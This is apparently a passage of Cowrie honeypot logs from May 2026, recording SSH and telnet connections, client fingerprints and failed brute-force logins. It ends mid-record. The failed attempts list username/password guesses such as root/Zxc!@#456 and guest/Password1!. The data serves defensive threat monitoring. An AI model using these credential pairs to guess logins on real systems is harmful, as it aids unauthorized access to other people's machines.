{"eventid":"cowrie.login.failed","username":"user","password":"astalavista","message":"login attempt [user/astalavista] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:47.076761Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:48.173692Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39674,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d5ba324199","protocol":"ssh","message":"New connection: 80.94.92.184:39674 (10.17.0.5:22) [session: f6d5ba324199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:48.498351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:48.658103Z","src_ip":"80.94.92.184","session":"f6d5ba324199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:48.661817Z","src_ip":"80.94.92.184","session":"f6d5ba324199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:49.801446Z","src_ip":"80.94.92.184","session":"f6d5ba324199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":45578,"dst_ip":"159.203.135.109","dst_port":22,"session":"431ad6364481","protocol":"ssh","message":"New connection: 36.92.140.209:45578 (159.203.135.109:22) [session: 431ad6364481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:50.376210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:50.380685Z","src_ip":"36.92.140.209","session":"431ad6364481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:50.655766Z","src_ip":"36.92.140.209","session":"431ad6364481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:51.005167Z","src_ip":"80.94.92.184","session":"f6d5ba324199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxc!@#456","message":"login attempt [root/Zxc!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:51.784907Z","src_ip":"36.92.140.209","session":"431ad6364481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:53.061726Z","src_ip":"36.92.140.209","session":"431ad6364481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":39590,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9c09ddae912","protocol":"ssh","message":"New connection: 187.16.96.250:39590 (159.203.135.109:22) [session: c9c09ddae912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:06.690953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:06.695965Z","src_ip":"187.16.96.250","session":"c9c09ddae912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:06.811822Z","src_ip":"187.16.96.250","session":"c9c09ddae912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"botuser","message":"login attempt [botuser/botuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:07.309122Z","src_ip":"187.16.96.250","session":"c9c09ddae912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:08.427746Z","src_ip":"187.16.96.250","session":"c9c09ddae912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":51662,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c565dfd706f","protocol":"telnet","message":"New connection: 69.65.3.189:51662 (10.17.0.5:23) [session: 0c565dfd706f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:13.144969Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":41788,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7babb8374dc","protocol":"ssh","message":"New connection: 43.162.98.118:41788 (159.203.135.109:22) [session: f7babb8374dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:18.076043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:18.080858Z","src_ip":"43.162.98.118","session":"f7babb8374dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:18.149390Z","src_ip":"43.162.98.118","session":"f7babb8374dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"Password1!","message":"login attempt [guest/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:18.454627Z","src_ip":"43.162.98.118","session":"f7babb8374dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:19.525936Z","src_ip":"43.162.98.118","session":"f7babb8374dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":44920,"dst_ip":"159.203.135.109","dst_port":22,"session":"25bb433f6111","protocol":"ssh","message":"New connection: 36.92.140.209:44920 (159.203.135.109:22) [session: 25bb433f6111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:48.420104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:48.425320Z","src_ip":"36.92.140.209","session":"25bb433f6111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:48.704666Z","src_ip":"36.92.140.209","session":"25bb433f6111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gh123456","message":"login attempt [root/Gh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:49.844750Z","src_ip":"36.92.140.209","session":"25bb433f6111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.60281419754028,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:50.747697Z","src_ip":"69.65.3.189","session":"0c565dfd706f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:34:51.123361Z","src_ip":"36.92.140.209","session":"25bb433f6111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":60486,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad2976869a2","protocol":"ssh","message":"New connection: 43.162.98.118:60486 (159.203.135.109:22) [session: aad2976869a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:05.816733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:05.822205Z","src_ip":"43.162.98.118","session":"aad2976869a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:05.890827Z","src_ip":"43.162.98.118","session":"aad2976869a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftpuser1","message":"login attempt [ftpuser1/ftpuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:06.203058Z","src_ip":"43.162.98.118","session":"aad2976869a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:07.276231Z","src_ip":"43.162.98.118","session":"aad2976869a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":34697,"dst_ip":"159.203.135.109","dst_port":23,"session":"3931f8f8cb02","protocol":"telnet","message":"New connection: 136.37.89.108:34697 (159.203.135.109:23) [session: 3931f8f8cb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:10.501257Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":34748,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c338229f8d","protocol":"telnet","message":"New connection: 136.37.89.108:34748 (159.203.135.109:23) [session: 90c338229f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:12.651723Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.139.142.229","src_port":55844,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fbc2899c925","protocol":"telnet","message":"New connection: 41.139.142.229:55844 (159.203.135.109:23) [session: 3fbc2899c925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:17.521096Z"}
{"eventid":"cowrie.session.closed","duration":12.48234486579895,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:30.003348Z","src_ip":"41.139.142.229","session":"3fbc2899c925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":59142,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f37b0ad31e7","protocol":"ssh","message":"New connection: 36.92.140.209:59142 (159.203.135.109:22) [session: 9f37b0ad31e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:48.096056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:48.101817Z","src_ip":"36.92.140.209","session":"9f37b0ad31e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:48.387798Z","src_ip":"36.92.140.209","session":"9f37b0ad31e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p","message":"login attempt [test/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:49.559960Z","src_ip":"36.92.140.209","session":"9f37b0ad31e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:50.853753Z","src_ip":"36.92.140.209","session":"9f37b0ad31e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":45500,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0987b201439","protocol":"ssh","message":"New connection: 43.162.98.118:45500 (159.203.135.109:22) [session: c0987b201439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:53.268578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:53.273205Z","src_ip":"43.162.98.118","session":"c0987b201439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-